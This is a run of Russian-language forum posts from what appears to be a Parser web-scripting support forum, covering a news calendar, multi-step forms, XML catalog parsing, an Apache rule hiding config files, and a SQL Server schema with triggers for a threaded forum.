	<br />$news.lead</li>\
	}\
}\
</ul>\
#########################_end_of_this_geting_lead_###########################\
#############################################################################\
###################_&#206;&#242;&#238;&#225;&#240;&#224;&#230;&#229;&#237;&#232;&#229;_&#238;&#228;&#237;&#238;&#233;_&#241;&#242;&#224;&#242;&#252;&#232;_&#241;_&#242;&#229;&#234;&#241;&#242;&#238;&#236;_######################\
@get_one_news[news]\
^untaint[as-is]{\
	^if(def $news.title){<h1>^news.title.match[[/[/]]][g]{}</h1>}\
	^dtf:format[%d%m%Y;$news.dt;$dtf:rr-locate]\
	<p>$news.body</p>\
}\
#########################_&#234;&#238;&#237;&#229;&#246;_&#226;&#251;&#226;&#238;&#228;&#224;_&#238;&#228;&#237;&#238;&#233;_&#237;&#238;&#226;&#238;&#241;&#242;&#232;_#######################\
############################################################################\
############_&#228;&#238;&#241;&#242;&#224;&#229;&#236;_&#232;&#237;&#244;&#238;&#240;&#236;&#224;&#246;&#232;&#254;_&#228;&#235;&#255;_&#238;&#242;&#238;&#254;&#240;&#224;&#228;&#229;&#237;&#232;&#255;_&#234;&#224;&#235;&#229;&#237;&#228;&#224;&#240;&#255;_##################\
@getCalendar[lparams][params]\
$params[^hash::create[$lparams]]\
$result[^MAIN:pSQL.sql[table]{\
	SELECT\
		^MAIN:pSQL.month[dt] AS month,\
		^MAIN:pSQL.year[dt] AS year\
	FROM\
		news\
	WHERE\
		article_type_id=^params.article_type_id.int(0) AND\
		is_published=1 AND\
		dt_published<=^MAIN:pSQL.now[]\
	GROUP BY\
		year,\
		month\
}]\
#################_&#234;&#238;&#237;&#229;&#246;_&#241;&#234;&#240;&#232;&#239;&#242;&#224;_############################################\
############################################################################\
#################_&#238;&#242;&#238;&#225;&#240;&#224;&#230;&#229;&#237;&#232;&#229;_&#234;&#224;&#235;&#229;&#237;&#228;&#224;&#240;&#255;_####################################\
@printCalendar[calendar][now;curr_year;curr_month;y_hash;ym_hash;i;m]\
^if($calendar){\
	$now[^date::now[]]\
	$curr_year(^form:year.int(^dtf:format[%Y]))\
	$curr_month(^form:month.int(^dtf:format[%m]))\
	$y_hash[^calendar.hash[year;year][$distinct(1)]]\
	$ym_hash[^calendar.hash{^calendar.year.format[%04d]=^calendar.month.format[%02d]}[month] [$.distinct(1)]]\
	$year[^y_hash._key[]]\
	^year.sort($year.key)[desc]\
	\
	<table border=\"1\" align=\"right\">\
	<tr valign=\"top\">\
		<td>\
			^year.menu{\
			<b>^if($year.key==$curr_year){\
				$year.key /&nbsp^;\
			}{			^rem{ *** &#229;&#241;&#235;&#232; &#234;&#235;&#232;&#234;&#237;&#229;&#236; &#226; &#227;&#238;&#228;, &#239;&#238; &#239;&#238;&#239;&#224;&#228;&#229;&#236; &#237;&#224; &#239;&#238;&#241;&#235;&#229;&#228;&#237;&#232;&#233; &#236;&#229;&#241;&#255;&#246; &#227;&#238;&#228;&#224;, \
						&#231;&#224; &#234;&#238;&#242;&#238;&#240;&#251;&#233; &#243; &#237;&#224;&#241; &#229;&#241;&#242;&#252; &#237;&#238;&#226;&#238;&#241;&#242;&#232; *** }\
				^if(^calendar.locate[year;$year.key]){}\
				<a href=\"?year=?year.key&month=$calendar.month\">$year.key</a>\
			}\
			</b><br />\
			}\
		</td>\
		<td>\
		^if(^year.locate[key;$curr_year]){}\
		^for[i](0;11){\
			$m(12-$i)\
			^if(def $form:month && $m==$curr_month){\
				<b>$dtf:[ri-locate].month.$m</b><br />\
			}{\
				^if(!($now.year==$curr_year && $m>$now.month)){\
					^if($ym_hash.[^curr_year.format[%04d]=^m.format[%02d]]){\
					<a href=\"?year=$curr_year&month=$m\">$dtf:[ri-locate].month.$m</a>\
					}{\
					$dtf:[ri-locate].month.$m\
					}\
					<br />\
				}\
			}\
		}\
		\
		</td>\
		</tr>\
	</table>\
}\
[/code]\
\
И файд index.html:\
[code]\
@greeting[] \
&#209;&#242;&#240;&#224;&#237;&#232;&#246;&#224; &#237;&#238;&#226;&#238;&#241;&#242;&#229;&#233;,  &#231;&#224;&#245;&#238;&#228;&#232;&#242;&#229; &#247;&#224;&#249;&#229;! \
\
@body_additional[] \
<center>&#192;&#240;&#245;&#232;&#226; &#237;&#238;&#226;&#238;&#241;&#242;&#229;&#233; &#231;&#224; &#242;&#229;&#234;&#243;&#249;&#232;&#233; &#236;&#229;&#241;&#255;&#246;:</center> \
<br> \
\
@body_main[] \
\
\
^if(!def $form:id){\
	$calendar[^printCalendar[$.article_type_id(1)]]\
	^printCalendar[$calendar]\
######################	\
	$news[^getnews[\
		$.article_type_id(1)\
		\
		^if(^form:year.int(0)){\
			$.where[dt>='^form:year.int(0)-^form:month.int(0)-00' AND    \
			        dt<='^form:year.int(0)-^form:year.int(0)-31']\
		}{\
			$limit(20)\
		}\
	]\
	]\
#######################\
	^if($news){\
		^printnews[$news]\
	}{\
		<p>&#205;&#229; &#237;&#224;&#233;&#228;&#229;&#237;&#238; &#237;&#232;&#247;&#229;&#227;&#238; &#231;&#224; &#243;&#234;&#224;&#231;&#224;&#237;&#237;&#251;&#233; &#239;&#229;&#240;&#232;&#238;&#228;</p>\
	}\
######################\
	}{\
	$news[^getnews[\
		$.article_type_id(1)\
		$.id(^form:id.int(0))\
	]]\
	^if($news){\
		^print_one_news[$news]\
	}{\
	^location[/404/]\
	}\
}\
[/code]\
\
Подскажите!"
"36221","А кто-нибудь в курсе когда Fatal.Ru будет принимать заявки на регистрацию..."
"36222","Есть заявка: несколько форм, появляющихся одна за одной после нажатия на сабмит-кнопки. Довольно стандартная ситуация.\
\
Требуется провернуть эту процедуру два раза с той лишь разницей, что в первый раз пользователю будет сказано \"первая заявка\", а во второй - \"вторая заявка\".\
\
Например, 3 шага заявки.\
форма1 -> \"далее\" -> форма 2 -> \"далее\" -> форма 3 -> \"готово\"\
\
Нужно сделать на форме1 надпись \"первая заявка\", потом пользователь проходит через вышеуказанную цепочку, потом появляется снова форма1, на которой уже надпись \"вторая заявка\" и эта цепочка повторяется вновь. Как сделать эти две итерации?\
\
Цикл ^for[i](1;2){}, разумеется, не помогает: каждая форма выводится дважды на странице."
"36223","в index.html должно быть:\
[code]\
$calendar[^getCalendar[$.article_type_id(1)]]\
^printCalendar[$calendar]\
[/code]"
"36224","Я сделал так: создал процедуру\
@application[text]\
Было бы логично вызвать ее два раза, один - с текстом \"первая заявка\", второй - \"вторая заявка\".\
Делаю следующее:\
^application[первая заявка]\
^application[вторая заявка]\
Опять же, каждая форма выводится дважды на странице.\
\
То есть:\
\"первая заявка\"\
форма1\
\"далее\"\
вторая заявка\
форма1\
\"далее\"\
\
Почему так и как правильно?!"
"36226","На их форуме (http://forum.fatal.ru/) есть много вопросов на эту тему и даже есть исчерпывающие ответы."
"36227","Посмотрите в документации раздел класса form. И используйте его. Создаете, к примеру, поле hidden, с именем [b]step[/b]...\
\
[code]\
<input type=\"hidden\" name=\"step\" value=\"$step\">\
[/code]\
\
...ну и соответственно смотришь по [b]$form:step[/b] какие изменения нужно сделать, например в своей функции пишешь что-то вроде:\
\
[code]\
^switch[$form:step]{\
	^case[1]{Первая заявка}\
	^case[2]{Вторая заявка}\
}\
[/code]"
"36229","А там можно парсер поставить?"
"36230","Может кто дост работающую версию? А то уже мозги болят! ralf-ik@mail.ru"
"36231","Необходимо обработать исключение - если переменная [i]не[/i]  заданного типа. \
Как я понял есть 2 варианта: \
[code]^if(!($varible is hash)){ \
	some code\
}[/code]\
или\
[code]^if($varible is hash)){}{\
	some code\
}[/code]\
\
Оба как-то не очень нравятся... ИМХО, должен быть какой-то вариант [color=\"#0000ff\"][b]объект not тип[/b][/color]."
"36232","и еще форум \"съел\" вот такой код\
(color=\"#0000ff\")(b) текст (/b)(/color)"
"36233","так вот, вариант с оператором типа [b]not[/b].\
\
или я не прав? Тогда просьба пояснить почему..."
"36235","если в файле не декларирован ни один метод, значит всё его тело есть определение метода main.\
\
когда выполняется ^use метод main не выполняется вообще, только метод auto.\
\
добавьте в начало подключаемого файла строчку\
[code]\
@auto[]\
[/code]\
и будет работать."
"36236","чтобы не придумывать своего.\
посмотрите на простенький стандарт XML-RPC.\
и одним глазком на SOAP."
"36237","в 3.1.4 безобразие прекращено"
"36238","мы тоже это заметили на одном из хостингов нашего клиента, где использовался немного устаревший процессор.\
\
в нашем случае дело было в распространённой библиотеке glib, которая установлена в той OS, где собираем parser. glib там собран с использованием всех возможностей современных процессоров = использовалась инструкция, не поддерживаемая в несколько устаревшем процессоре клиентского хостинга.\
\
мы скомпоновали клиенту parser с динамическим использованием glib, она взялась из OS хостинга и беспроблемно заработала.\
\
другой вариант: скомпилировать glib самому (не включать архитектурную оптимизацию), потом скомпоновать с нею.\
\
пожалуйста, уточните вашу платформу,\
и, если сами не имеете возможности собрать, отпишите мне в почту, возможно, вам подойдёт собранный нами."
"36239","попробуйте так проверить?"
"36240","2. Опишите, пожалуйста, что у Вас не выходит и мы вам поможем (отвечать могу только за себя :) ). Поверьте - если Вы сделаете это сами, то будет полза. Иначе - Вы так ничему и не научитесь. :)"
"36242","можете посмотреть, какой алгоритм его авторы применили.\
\
вариант:\
аккуратно выхватить merge-кусок их исходников, собрать в виде отдельной утилитки, и использовать через file::exec.\
\
не забудьте про конфликты!"
"36243","обычно по этой дороге на голову падает кирпич, на который намотана грязная бумажка с надписью \"забыл все исключения перечислить\".\
\
яснее читать и проще отлаживать код с явным указанием [b]допустимых[/b] вариантов."
"36244","Народ. Вопрос такой. Прошу, если можно сделайте мне маленький кусочек кода с комментариями (что и зачем делаем).\
Есть файл XML, в котором находится каталог товаров, т.е. раздел, название, описание и пр. Текст файла находится ниже (урезано).\
Подскажите, как будет выглядеть код, который выбирает конкретно список товаров из конкретно указанного раздела (Section). Т.е. мне нужно вытащить значения цены, описания, названия для каждого из радиотелефонов, если я указываю @SectionName равно \"Радиотелефоны\" и пр.\
Как мне получить доступ к каждому элементу XML-файла с помощью Parsera?\
ПС: просьба учитывать, что я пока в XML+Parser почти ничего не понимаю.\
Заранее благодарю.\
\
\
\
------------------------Текст файла---------------------------------\
\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<Catalog>\
	<Section SectionName=\"Радиотелефоны\">\
		<Item ID=\"Senao358-1\">\
			<ItemName>Радиотелефон Senao 358 (1 труб.)</ItemName>\
			<ItemDescription>\
				<div align=\"left\">Количество трубок - 1</div>\
				<div align=\"left\">Мощность - 4 Ватт</div>\
				<div align=\"left\">Радиус действия - 68-128 км</div>\
			</ItemDescription>\
			<ItemDescriptionFile>senao358</ItemDescriptionFile>\
			<ItemPictureFile>senao358.gif</ItemPictureFile>\
			<ItemManualFile>senao358.zip</ItemManualFile>\
			<ItemNPR>6000</ItemNPR>\
			<ItemPPR1>5200</ItemPPR1>\
			<Status>Enabled</Status>\
		</Item>\
		<Item ID=\"Senao358-2\">\
			<ItemName>Радиотелефон Senao 358 (2 труб.)</ItemName>\
			<ItemDescription>\
				<div align=\"left\">Количество трубок - 2</div>\
				<div align=\"left\">Мощность - 4 Ватт</div>\
				<div align=\"left\">Радиус действия - 68-128 км</div>\
			</ItemDescription>\
			<ItemDescriptionFile>senao358</ItemDescriptionFile>\
			<ItemPictureFile>senao358.gif</ItemPictureFile>\
			<ItemManualFile>senao358.zip</ItemManualFile>\
			<ItemNPR>6500</ItemNPR>\
			<ItemPPR1>5500</ItemPPR1>\
			<Status>Enabled</Status>\
		</Item>\
	</Section>\
\
	<Section SectionName=\"Радиостанции\">\
		<Item ID=\"BF-5118VHF-1\">\
			<ItemName>Радиостанция BF-5118 VHF (1 труб.)</ItemName>\
			<ItemDescription>\
				<div align=\"left\">Количество трубок - 1</div>\
				<div align=\"left\">Радиус действия - 30-60 км</div>\
			</ItemDescription>\
			<ItemDescriptionFile>bf5518</ItemDescriptionFile>\
			<ItemPictureFile>bf5518.gif</ItemPictureFile>\
			<ItemManualFile>bf5518.zip</ItemManualFile>\
			<ItemNPR>5650</ItemNPR>\
			<ItemPPR1>4650</ItemPPR1>\
			<Status>Enabled</Status>\
		</Item>\
	</Section>\
\
	<Section SectionName=\"Спутниковое оборудование\">\
		<Item ID=\"SVEC-180\">\
			<ItemName>Спутниковый комплект SVEC-180</ItemName>\
			<ItemDescription>\
				<div align=\"left\">Радиус тарелки - 180 см</div>\
				<div align=\"left\">Масса - 27 кг</div>\
				<div align=\"left\">Внимание: спутниковое оборудование Вы можете заказать <a href=\"mailto:mail@korvet.inc.ru\">написав нам письмо</a> в свободной форме, с обязательным указанием адреса доставки, с тем, чтобы мы могли подсчитать стоимость доставки заказа, а так же возможность доставки в определенный регион. </div>\
			</ItemDescription>\
			<ItemDescriptionFile>svec180</ItemDescriptionFile>\
			<ItemPictureFile>svec180.gif</ItemPictureFile>\
			<ItemManualFile>svec180.zip</ItemManualFile>\
			<ItemPPR1>4000</ItemPPR1>\
			<Status>Enabled</Status>\
		</Item>\
	</Section>\
</Catalog>"
"36247","Можно узнать, почему задача ставится именно так?\
\
- почему вы не используете БД\
- почему вы согласны тратить немеренные ресурсы при разрастании каталога\
- почему вы хотите усложнять программное решение\
\
вот, типа того."
"36251","Раньше я текст разбивал так\
\
$body[^body.match[\\n][g]{<br />}]\
\
$body[^body.match[\\n\\n][g]{<p />}]\
\
Затем умные люди на форуме подсказали, что делать это лчше автозаменой, в итоге все пришло к следующему:\
\
$rep[^table::create{from	to\
^taint[^#0A]^taint[^#0A]	^taint[^#0A]<p />\
^taint[^#0A]	^taint[^#0A]<br />\
}]\
\
И в том и в том случае при выводе следует так:\
\
$body[^rpl[]]\
#$body[^body.match[\\n][g]{<br />}]\
\
#$body[^body.match[\\n\\n][g]{<p />}]\
\
<p />$body\
\
Соответственно с и без решетки.\
\
Все работает хорошо с таблицей замен, только вот что. Красная строка нужна не в каждом тексте, скажем при отображении стихов. Делаю перевод строки в панели администрирования, все отображается как надо - без красной строки.\
\
Однако, как только пытаюсь отредактировать ту же запись, текст для редактирования выходит в textarea без этого самого первого перевода каретки. В чем может быть дело?"
"36252","[b]1. \"почему вы не используете БД\"[/b]\
xml-файл намного мобильнее, чем БД. Проще изменить пару цен в файле и залить него на ФТП, чем лезть в phpMyAdmin, открывать нужную таблицу и т.д. и т.п. А в данном случае у клиента на хостинге из средств управления MySQL только командная строка MySQL есть и всё. Т.е. нужно писать строки на MySQL, а это долго и нудно. Писать клиента тоже смысла нет, так как там товару в этом магазине наименований 30 и больше не намечается.\
\
[b]2. \"почему вы согласны тратить немеренные ресурсы при разрастании каталога\" [/b]\
Каталог разрастаться сильно не будет, приток покупателей небольшой, так что ресурсов жраться будет немного, это точно. \
\
[b]3. \"почему вы хотите усложнять программное решение\"[/b]\
В данном случае это будет не усложнение, а упрощение. И вообще я просто хочу понять, как мне получить доступ к любому из элементов xml-файла по одному и как получить доступ к нескольким подобным элементам (чтобы, например, их вывести потом с помощью menu()). Нигде литературы по этому делу я найти больше не могу. Может быть кто-нибудь подскажет в сети ресурс про parser+xml? Только про этот Парсер, а не про msxml."
"36253","По русски это что значит? Версии не совпадают? \
в поиске искал - нету.\
В faq тоже не нашел.\
Буду дальше искать.\
Прошу подсказать как исправить?"
"36256","Коллеги, кто-нибудь сталкивался со следующими проблемами в Опере и Мозилле?\
\
1. Куки.\
При написании сообщения в «гостевой» выдаётся кука с id сообщения, исходя из наличия которой потом предоставляется возможность редактирования этого сообщения.\
Так вот, в IE выдаются нормально выдаются куки на несколько сообщений.\
Опера, принимая новую, удаляет старую…\
Такая же хрень и при выдаче кук с именем вида vote_rating_$id.\
Такая же ситуация с Куками и в Мозилле.\
\
2. Остановка при внешнем редиректе.\
После добавления сообщения производится редирект:\
[code]$response:location[http://${env:SERVER_NAME} … -${page}.html#$last][/code]\
Производится отправка, сообщение нормально добавляется, а редирект не выполняется полность.\
Если обновить страницу – повторно сообщение не добавляется, т.е. после добавления Опера со страницы ушла, но вот на новый адрес – не пришла.\
С надписью «запрос к [адрес_сайта] выполнен» она замирает с индикатором загрузки 100% и стоит.\
Ручное обновление страницы проходит нормально, видно добавленное сообщение.\
Пробовал делать редирект через $response:refresh – то же самое.\
Адрес до отправки и после один и тот же, различия лишь в якоре на id сообщения после добавления.\
Мозилла и IE нормально переходят."
"36257","Работающую версию чего? Класса для работы с базами данных? SQL.p? MySQL.p? Все, что есть в примерах — вполне рабочее. У меня работает. Изменений не вносил :)"
"36260","P.S. изменения там есть куда вносить :"
"36262","Может его добавить \"в действии\", хотя ошибок еще выше крыши. Опытные люди, посмотрите, что я сделал может не так. А то у нас в городе и посоветоваться не с кем..."
"36263","А как это связано с Парсером?"
"36264","Для выбора по условию в XSL предусмотрены параметры.\
Подробности на http://www.w3.org/TR/xslt\
\
Выглядит это примерно так:\
[code]\
    <xsl:param name=\"IP\" />\
\
    <xsl:template match=\"routes\">\
        <xsl:apply-templates select=\"//host[attribute::ip=$IP]\"/>\
	<xsl:if test=\"count(//host[attribute::ip=$IP]) = 0\">\
		<h3>Ничего не найдено</h3>\
	</xsl:if>\
    </xsl:template>\
[/code]\
\
Все XSL-параметры передаются как хэш, вторым параметром метода transform."
"36265","Как сделать, чтобы auto.p не выдавался браузером?\
Спасибо"
"36266","1. http://www.ugbugan.ru/gbook/index.html?ind=z\
2. http://www.ugbugan.ru/forum/index.html?ind1=z\
3. http://www.ugbugan.ru/misc/telef/ - имя обязательно, а телефон нет? Странный телефонный справочник однако"
"36267","Вы же устанавливали там Парсер обработчиком html.\
Вот там же и запрет на доступ.\
\
[code]<Files ~ \"(\\.cfg|\\.p)$\"> \
  Order allow,deny \
  Deny from all \
</Files>[/code]"
"36268","Спасибо, то что надо."
"36269","Этот урок я изучил уже давно (lesson6.htm). Дело в том, что там всё делается с помощью XSL. А мне нужно средствами Parser'а. В парсере же есть методы типа Select и пр. Вот я и не могу с ними разобраться. Мозги кипят, а понять не могу.\
\
Вообще можно где-нибудь по подробнее узнать про классы xdoc и xnode?"
"36270","Нет, не использую. (?)"
"36271","Путь к нему прописывал, взял из поика по форуму, не помогло. где его скачать не знаю. если не трудно укажите где? сервер FreeBCD."
"36272","Парсеровские команды и их результат взяты из стандартов W3C. Я лично тексты W3C вообще не воспринимаю, потому советую обратиться к библиотеке MSDN. Там описаны команды и результаты их применения. Синтаксис, конечно, слегка другой, но понять проще, чем читая W3C описания."
"36274","Пользуясь длинными каникулами, довожу до ума новую версию своего сайта. Одна из задач - перевести его с MySQL на SQL Server (первый глючит и backup'ить неудобно вместе с остальным добром на сервере). Сделал структуру базы, перекидал в неё данные, стал прикручивать к сайту и столкнулся с дикими тормозами. Подумал, что дело в сложности запросов и доупрощался до банального SELECT 2 * 2 - всё равно страницы открывались по двадцать секунд. Откатился до 3.1.3 - всё залетало.\
\
Connection string для справки:[code]$SQL.connect-string[odbc://Driver={SQL Server}^;\
	Server=127.0.0.1^;\
	Database=ForumDatabase^;\
	UID=sa^;\
	PWD=[i]не скажу[/i]^;\
	App=Parser^;\
	Language=English^;\
	StatsLog_On=no^;\
	QueryLog_On=no^;\
	Regional=no^;\
	Description=Parser^;\
	Trusted_Connection=no^;\
	ClientCharset=windows-1251^;\
][/code]"
"36275","Есть у меня форум, написанный на парсере с mysql - сейчас в нём 34 тыс. реплик суммарным весом где-то 26 мегабайт. Для хранения и вывода реплик выводится метод, аналогичный описанному здесь в Примерах, активно сдобренный ^cache[]\
\
Проблема в том, что на больших ветках и в моменты прихода GoogleBot форум начинает безбожно тормозить (всё не закешируешь). Из за этого, а также из-за необходимости мигрировать на SQL Server было решено это всё переписать.\
\
Список предпосылок:\
\
- лучше медленный insert, чем медленный select\
- поддерживать целостность древовидной структуры должен SQL server, а не кусок кода на parser (который может быть прерван на середине, кстати)\
- формирование дерева для вывода должен осуществлять SQL Server, а не Parser\
- в идеале всё дерево должно доставаться банальным SELECT'ом\
- в ходе этого SELECT'а БД не должна ничего LEFT JOIN'ить, активно довычислять и т.п. - максимум сортировать\
\
Я перепробовал кучу подходов - ближе всего казалась Nested sets model, но для неё требуется перенумеровывать все записи в таблице при каждом insert'е, что неприемлемо. В итоге я остановился на подходе, когда в базе хранится:\
\
- номер реплики (cid)\
- номер реплики-родителя (pid - \"parent's ID\")\
- глубина вложенности реплики (lvl) - у корневой реплики она равна нулю, у ответов на неё - уже единице, у ответов на ответы - двойке и т.п.\
- путь к реплике в дереве (hierarchy)\
\
На последнем остановимся поподробнее. Эта штука в англоязычной литературе по теме называется path enumeration и выглядит так, например: \"[i]0.1.3.25.143[/i]\"\
\
Реплика с таким значением hierarchy имеет номер 123, она была добавлена в ответ на реплику 25, а та, в свою очередь, в ответ на реплику 3. Как видите, это очень похоже на имена файлов в файловой системе.\
\
Схема, как видите, избыточная. Номер реплики дублируется и в cid, и в hierarchy, номер родителя (pid) тоже. lvl также вычислябелен из hierarchy - нужно только точки посчитать в hierarchy. Храним мы их отдельно для того, чтобы упростить запросы и ускорить за счёт индексов по ним. \
\
Для совместимости со старым кодом я сделал ещё и столбец tid (thread's ID - общий для всей ветки номер) - также избыточный.\
\
А теперь барабанная дробь и туш: мы выводим дерево всех реплик форума одним select'ом:[code]SELECT replicate('      ', lvl) + subject AS \
	zagolovok_s_otstupom, author, lvl, cid,\
	FROM forum_forumdata\
	where lvl > 0\
	ORDER BY hierarchy ASC[/code]SQL Server наприсует нужное количество пробелов слева от каждой реплики, чтобы получилось симпатичное дерево.\
\
На моём ноутбуке этот запрос выполняется пять секунд (напомню, в форуме 34 тысячи реплик суммарным весом 26 мегабайт) - при этом в фоне работает Media Player и ещё много чего.\
\
Такое хранение позволяет отвечать на самые заковыристые вопросы, на которые в adjacency model, реализованной Мишей, не ответишь одним select'ом.\
\
Цена всего этого - необходимость посчитать lvl, tid и hierachy при  добавлении реплики в форум. Но поскольку форум в день читают несколько сотен человек, а реплики пишут максимум десяток,  подход \"медленный insert - быстрый select\" очень даже оправдан.\
\
Поскольку вместо простецкого MySQL используется SQL Server, все эти вычисления можно переложить на БД, пользуясь для этого триггерами. Для удаления ветки с ответами, переноса её в другую ветку и т.п. создаются stored procedures - то есть никаких манипуляций с деревом средствами парсера не производится.\
\
Вот в итоге структура базы. Жду ваших комментариев, критики и указания на вопиющие ошибки:[code]\
\
-- ------------------------------\
\
IF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = object_id(N'[dbo].FK_pidcid') \
AND OBJECTPROPERTY(id, N'IsForeignKey') = 1) ALTER TABLE [dbo].[forum_forumdata] \
DROP CONSTRAINT FK_pidcid\
GO\
\
IF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = object_id(N'dbo.forum_forumdata') \
AND OBJECTPROPERTY(id, N'IsUserTable') = 1) DROP TABLE dbo.forum_forumdata\
GO\
\
CREATE TABLE dbo.forum_forumdata\
(\
-- автнумерация пойдёт с 40K-й реплики (33K уже есть)\
-- Десятизначной нумерации реплик для этого форума хватит\
-- лет на пятьдесят\
cid         INT IDENTITY(40000,1) NOT NULL  CHECK ( cid <= 9999999999 ),\
pid         INT                             CHECK ( pid <= 9999999999 ),\
tid         INT                             CHECK ( tid <= 9999999999 ),\
lvl         INT                             CHECK ( lvl <= 199 ),\
-- высота дерева ограничена 199 уровнями вложенности - на порядок больше \
-- необходимого. Если надо, можно увеличить\
hierarchy   VARCHAR(2000)                   CHECK ( LEN(hierarchy) <= 1990 ),\
subject     VARCHAR(255) NOT NULL,\
author      VARCHAR(255) NOT NULL,\
email       VARCHAR(255) NOT NULL,\
cookie      VARCHAR(255) NOT NULL,\
postdate    DATETIME NOT NULL,\
ipaddr      VARCHAR(100),\
subscribe   CHAR(3) DEFAULT ('no') NOT NULL,\
message     TEXT,\
CONSTRAINT  PK_cid PRIMARY KEY CLUSTERED ( cid )\
)\
GO\
\
ALTER TABLE dbo.forum_forumdata\
    ADD CONSTRAINT FK_pidcid FOREIGN KEY( pid )\
    REFERENCES [dbo].[forum_forumdata] ( cid )\
    ON UPDATE NO ACTION\
    ON DELETE NO ACTION;\
GO\
\
-- К сожалению, в SQL Server у таблицы может быть \
-- только один clustered index - будь это не так, \
-- следующие два индекса я бы тоже сделал clustered:\
\
CREATE NONCLUSTERED INDEX idx_tid          ON dbo.forum_forumdata (tid)\
GO\
\
CREATE NONCLUSTERED INDEX idx_hierarchy    ON dbo.forum_forumdata (hierarchy)\
GO\
\
CREATE NONCLUSTERED INDEX idx_pid          ON dbo.forum_forumdata (pid)\
GO\
\
CREATE NONCLUSTERED INDEX idx_lvl          ON dbo.forum_forumdata (lvl)\
GO\
\
CREATE NONCLUSTERED INDEX idx_author       ON dbo.forum_forumdata (author)\
GO\
\
CREATE NONCLUSTERED INDEX idx_cookie       ON dbo.forum_forumdata (cookie)\
GO\
\
CREATE NONCLUSTERED INDEX idx_ipaddr       ON dbo.forum_forumdata (ipaddr)\
GO\
\
IF EXISTS (SELECT * FROM dbo.sysobjects where id = object_id(N'dbo.RemoveItemMoveSubs') \
and OBJECTPROPERTY(id, N'IsProcedure') = 1) drop procedure dbo.RemoveItemMoveSubs\
GO\
\
-- удаляет реплику, передаёт детей новому родителю\
CREATE PROC RemoveItemMoveSubs\
	@cid int,\
	@newparent int\
AS\
	UPDATE CHILD\
	SET pid = @newparent\
	FROM forum_forumdata AS CHILD JOIN forum_forumdata AS PARENT\
		ON CHILD.pid = PARENT.cid\
	WHERE PARENT.cid = @cid\
	DELETE FROM forum_forumdata\
	WHERE cid = @cid\
GO\
\
IF EXISTS (SELECT * FROM dbo.sysobjects where id = \
object_id(N'dbo.RemoveItemUpgradeSubs') AND OBJECTPROPERTY(id, N'IsProcedure') = 1) \
DROP PROCEDURE dbo.RemoveItemUpgradeSubs\
GO\
\
-- Удаляет реплику и усыновляет \"внуков\"\
CREATE PROC RemoveItemUpgradeSubs\
	@cid int\
AS\
	UPDATE CHILD\
	SET pid = PARENT.pid\
	FROM forum_forumdata AS CHILD JOIN forum_forumdata AS PARENT\
		ON CHILD.pid = PARENT.cid\
	WHERE PARENT.cid = @cid\
	DELETE FROM forum_forumdata WHERE cid = @cid\
GO\
\
IF EXISTS (SELECT * FROM dbo.sysobjects where id = \
object_id(N'dbo.RemoveSubtree') and OBJECTPROPERTY(id, N'IsProcedure') = 1) \
DROP PROCEDURE dbo.RemoveSubtree\
GO\
\
-- Удалzет реплику со всеми детишками:\
CREATE PROC RemoveSubtree\
	@cid int\
AS\
	DELETE FROM forum_forumdata\
	WHERE hierarchy LIKE (SELECT hierarchy\
		FROM forum_forumdata\
		WHERE cid = @cid) + '%'\
GO\
\
if exists (select * from dbo.sysobjects where id = object_id(N'dbo.zerofill') \
AND XTYPE IN (N'FN', N'IF', N'TF')) drop function dbo.zerofill\
GO\
\
CREATE FUNCTION dbo.zerofill (@number char(10)) \
-- К сожалению, в SQL Server нет эквивалента Оракловскому LPAD \
-- и MySQL'ному zerofill, поэтому приходится извращаться:\
RETURNS char(10)\
BEGIN\
	DECLARE @temp_char CHAR(10)\
	SET @temp_char = ''\
	SET @temp_char = \
		REPLICATE('0', \
			DATALENGTH(@temp_char) - DATALENGTH(CAST(CAST(@number as int) as varchar(10)))\
		) \
		+ CAST(@number AS CHAR)\
	RETURN @temp_char\
END\
GO\
\
if exists (select * from dbo.sysobjects where id = object_id(N'dbo.trg_forumdata_insert') \
and OBJECTPROPERTY(id, N'IsTrigger') = 1) DROP TRIGGER dbo.trg_forumdata_insert\
GO\
\
-- Триггер, который срабатывает при INSERT'е в таблицу\
-- (вычисляет lvl, tid и hierarchy)\
CREATE TRIGGER trg_forumdata_insert ON forum_forumdata FOR INSERT\
	AS\
	DECLARE @numrows AS int\
	SET @numrows = @@rowcount\
	IF @numrows > 1\
		BEGIN\
			RAISERROR('Многострочные insert-ы не поддерживаются!', 16, 1)\
			ROLLBACK TRAN\
		END\
	ELSE\
		IF @numrows = 1\
		BEGIN\
			UPDATE CHILD\
			SET lvl =\
				CASE\
					WHEN CHILD.pid IS NULL THEN 0\
					ELSE PARENT.lvl + 1\
				END\
			, tid = \
				CASE\
					WHEN ((CHILD.pid IS NULL) OR (CHILD.pid = 0)) THEN CHILD.cid\
					ELSE PARENT.tid\
				END\
			, hierarchy = \
				CASE\
					WHEN CHILD.pid IS NULL THEN '.' \
					ELSE PARENT.hierarchy\
				END\
				+ dbo.zerofill(\
					CAST(CHILD.cid AS varchar(10))\
				) + '.'\
			FROM forum_forumdata AS CHILD \
			JOIN inserted AS INS\
			ON INS.cid = CHILD.cid\
			LEFT OUTER JOIN forum_forumdata AS PARENT\
			ON CHILD.pid = PARENT.cid\
		END\
GO\
\
if exists (select * from dbo.sysobjects where id = \
object_id(N'dbo.trg_forumdata_update') AND OBJECTPROPERTY(id, N'IsTrigger') = 1) \
DROP TRIGGER dbo.trg_forumdata_update\
GO\
\
-- Триггер, который срабатывает при UPDATE'е таблицы\
-- (заново вычисляет lvl, tid и hierarchy)\
CREATE TRIGGER trg_forumdata_update ON forum_forumdata FOR UPDATE\
AS\
	IF UPDATE(cid)\
		BEGIN\
			RAISERROR('Номер записи менять нельзя!', 16, 1)\
			ROLLBACK TRAN\
		END\
	ELSE\
		IF UPDATE(pid)\
		BEGIN\
			UPDATE CHILD\
			SET lvl = CHILD.lvl - INS.lvl + \
			CASE\
				WHEN INS.pid IS NULL THEN 0\
				ELSE PARENT.lvl + 1\
			END\
			, tid =\
			CASE\
				WHEN (CHILD.pid IS NULL) OR (CHILD.pid = 0) THEN CHILD.cid\
				ELSE PARENT.tid\
			END\
			, hierarchy = ISNULL(PARENT.hierarchy, '.') +\
			dbo.zerofill(\
				CAST(INS.cid AS varchar(10))\
			) + '.' +\
			dbo.zerofill(\
				right(CHILD.hierarchy, len(CHILD.hierarchy) - len(INS.hierarchy))\
			)\
			FROM forum_forumdata AS CHILD JOIN INSERTED AS INS\
